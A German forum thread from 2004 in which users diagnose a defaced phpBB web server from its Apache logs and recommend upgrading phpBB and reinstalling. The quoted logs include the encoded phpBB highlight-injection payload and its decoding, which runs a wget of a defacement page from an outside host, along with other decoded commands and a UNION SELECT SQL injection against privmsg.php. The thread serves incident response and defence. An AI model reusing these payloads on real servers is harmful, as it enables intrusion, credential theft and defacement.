WCM Forum - Server gehacked

WCM Forum (http://www.wcm.at/forum/index.php)

- Linux, UNIX, Open Source (http://www.wcm.at/forum/forumdisplay.php?f=13)

- - Server gehacked (http://www.wcm.at/forum/showthread.php?t=151972)

Ein Bekannter von mir wurde von Boxocide und ESX heimgesucht.
boxocide

Er hat einen GNU/Linux Webserver laufen mit Apache 2.0.51 (php und mysql versionen sind mir zurzeit nicht bekannt) - basierend auf FC2.

Nachdem ich mir die Logfiles angesehen hab bin ich mir nicht sicher, wie die reingekommen sind.

Jedenfalls wurden im DocumentRoot der Hauptseite (phpBB basierend) die wichtigsten Files durch .html files ersetzt.
Daneben laufen noch einige kleine Seiten, die durch Virtualhosts betrieben werden - welche jedoch alle durch .htaccess vom public-Zugriff abgeschirmt werden.

Der Server wird sowieso komplett neu aufgesetzt, da meine Fähigkeiten nicht ausreichen, um wirklich alles zu checken.

Einen Rootkit-Checker hab ich schon ausgeführt, der hat nichts Verdächtiges gefunden.

Nach langer Sucherei in den Logfiles ist mir jedoch folgendes aufgefallen:
(aus der access_log von Apache):

Zitat:

69.93.x.xxx - - [02/Dec/2004:02:48:04 +0100] "GET /viewtopic.php?t=%32%30&rush=%65%63%68%6F%20%5F%53% 54%41%52%54%5F%3B%20%77%67%65%74%20%68%74%74%70%3A %2F%2F%77%69%6C%6C%79%73%62%69%72%74%68%64%61%79%2 E%63%6F%6D%2F%68%61%63%6B%65%64%2E%68%74%6D%6C%3B% 20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.% 70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45 %54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527 HTTP/1.1" 200 36025 "-" "-"

Das sieht mir etwas verdächtig aus - die Strings sind absolut untypisch.

Dann kommt das error_log:

Zitat:

--02:08:47-- http://www.xxxx.org/shk2.html
=> `shk2.html'
Resolving www.xxxx.org... 206.123.xx.xxx
Connecting to www.xxxxx.org[206.123.xx.xxxx]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 517 [text/html]

(xxxx ersetzt ;) )

Und:

Zitat:

mv: cannot stat `hacked.html': No such file or directory
mv: cannot stat `hacked.html': No such file or directory
mv: cannot stat `hacked.html': No such file or directory
mv: cannot stat `hacked.html': No such file or directory
mv: cannot stat `hacked.html': No such file or directory

Also haben die anscheinend shell access erreicht.

Desweiteren scheint es, als ob group, shadow usw. in /etc auch geändert wurden, da es mit dem Änderungsdatum der index-Files im DocumentRoot übereinstimmt.
Genaueres kann ich erst sagen, wenn ich den Serverbetreiber ausflaschel.

Kann man mit diesen Angaben eine ungefähre Aussage tätigen, wie die da reingekommen sind ?
Ist es möglich, über phpBB Schwachstellen shell access zu ergaunern ?

Wie gesagt, der Server wird komplett neu aufgesetzt und ich habe weder das Wissen, noch das Interesse das komplette System forensisch zu untersuchen.
Denn was ich finden werde (im Fall des Falles) bringt sowieso nix, da ich annehme, dass die so gscheit sind und ihre Spuren verwischt haben.

Vielen Dank für Tips

Läuft auch PHPNuke?

Sloter

Zusatzfrage:
Soweit ich weiß bedeuten die %xx Angaben Strings - wie kann ich diese in Strings umwandeln sodaß ich genau sehe, was die für eine Syntax für viewtopic.php genutzt haben ?

Zitat:

Original geschrieben von Sloter
Läuft auch PHPNuke?

Sloter

Nein, aber phpBB ist mit ein paar Hacks aufgeblasen :S

Edit:
http://www.heise.de/security/news/meldung/53511

Hmmm.

Gar nicht mal so alt.
http://www.heise.de/security/news/meldung/53511

PHPNuke auf einem anderen virtuellen Host?

Sloter

Zitat:

Original geschrieben von Sloter
Gar nicht mal so alt.
http://www.heise.de/security/news/meldung/53511

PHPNuke auf einem anderen virtuellen Host?

Sloter

Nein.
Alle anderen "Seiten" sind eher Admin-Tools, welche aber durch .htaccess abgesichert sind.
Und ich habe nirgends in den Logs einen Zugriff auf diese Seiten gesehen.
Ich gehe davon aus, dass ein Zugriff über phpBB statt gefunden hat.

Re: Server gehacked

Zitat:

Original geschrieben von Dumdideldum
69.93.x.xxx - - [02/Dec/2004:02:48:04 +0100] "GET /viewtopic.php?t=%32%30& rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20%77 %67%65%74%20%68%74%74%70%3A%2F%2F%77%69%6C%6C%79%7
3%62%69%72%74%68%64%61%79%2E%63%6F%6D%2F%68%61%63% 6B%65%64%2E%68%74%6D%6C%3B%20%65%63%68%6F%20%5F%45
%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75 %28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%7 2%75%73%68%5D%29.%2527 HTTP/1.1" 200 36025 "-" "-"

Vor allem dieser Teil ist interessant:
rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20%77 %67%65%74%20%68%74%74%70%3A%2F%2F%77%69%6C%6C%79%7
3%62%69%72%74%68%64%61%79%2E%63%6F%6D%2F%68%61%63% 6B%65%64%2E%68%74%6D%6C%3B%20%65%63%68%6F%20%5F%45
%4E%44%5F

Übersetzt man das mittels urldecode(), kommt folgendes zum Vorschein:

Code:

echo _START_; wget http://willysbirthday.com/hacked.html; echo _END_

Hmmm,
also bedeuted das, dass besagte wget Aufrufe durch Mißbrauch der viewtopic.php stattgefunden haben ?

Also in Wahrheit nie shell access ergaunert wurde, sondern alle Befehle mittels viewtopic.php ausgeführt wurden ?

Alle besagten bösen viewtopic.php Gebräuche in der haha.txt.

Edit:
Hier ein paar "übersetzte" Befehle:

Zitat:

cat config.php na supi ;) :D
ls
pico shk2.html
wget http://willysbirthday.com/images/boxoesx.gif
mv hacked.html index.php
mkdir images
....

Ich möcht nicht wissen, wie oft ich dem Serverholder gepredigt hat, dass er niemals via root account mysql connecten sollte :D (config.php)
Najo, sei Schuld.

Und noch was gefunden:

Zitat:

"GET /privmsg.php?folder=savebox&mode=read&p=99&pm_sql_u ser=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%%2020null,null,null,null,null, null,null,null,null,null,null,null,null,null,null, nul HTTP/1.1" 302

"GET /privmsg.php?folder=savebox&mode=read&p=99&pm_sql_u ser=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%%2020null,null,null,null,null, null,null,null,null,null,null,null,null,null,null, nul HTTP/1.1"

Das hab ich schon mal gesehen, und zwar in einer Hacking Anleitung von phpBB. Also war phpBB die Schwachstelle - für was gibts Updates bitte? arghl

Zusatzfrage:
Die IPs sind natürlich gespeichert, eine ist klar zuordnungsbar, zwar eine dynamische IP aus Dallas, dennoch kein anon-proxy.
Spoofing sollte nicht möglich sein, da auf dem GNU/Linux server auch eine iptables firewall gelaufen ist.

Tjo, ich schätz mal dies als Musterbeispiel geltend zu machen, was passiert, wenn man ein Script benutzt, das fehleranfällig ist und vorallem, nicht upzudaten und deppat root details zu nutzen, um mysql auszuführen.

Irgend eine Chance, mit den IPs den Verursachern zumindest auf die Finger zu klopfen ?

Zitat:

Original geschrieben von Dumdideldum
Hmmm,
also bedeuted das, dass besagte wget Aufrufe durch Mißbrauch der viewtopic.php stattgefunden haben ?

Ja, einfach "phpbb highlight exploit" in Google eingeben.

Zitat:

Original geschrieben von Dumdideldum
Also in Wahrheit nie shell access ergaunert wurde, sondern alle Befehle mittels viewtopic.php ausgeführt wurden ?

Ja und Nein. viewtopic.php wurde verwendet, aber der Angreifer kann Shell Befehle samt Ausgabe (z.B. ls) mit den Rechten des Apache Users ausführen. Ein entsprechendes Perl Script ist im Umlauf.

Ich würde allen die phpBB einsetzen dringend raten auf phpBB 2.0.11 zu upgraden.

Ich denke es wäre trotzdem ratsam, den Server komplett neu aufzusetzen?

Und diesmal mach ich es, dass nix mehr rooterei passiert :D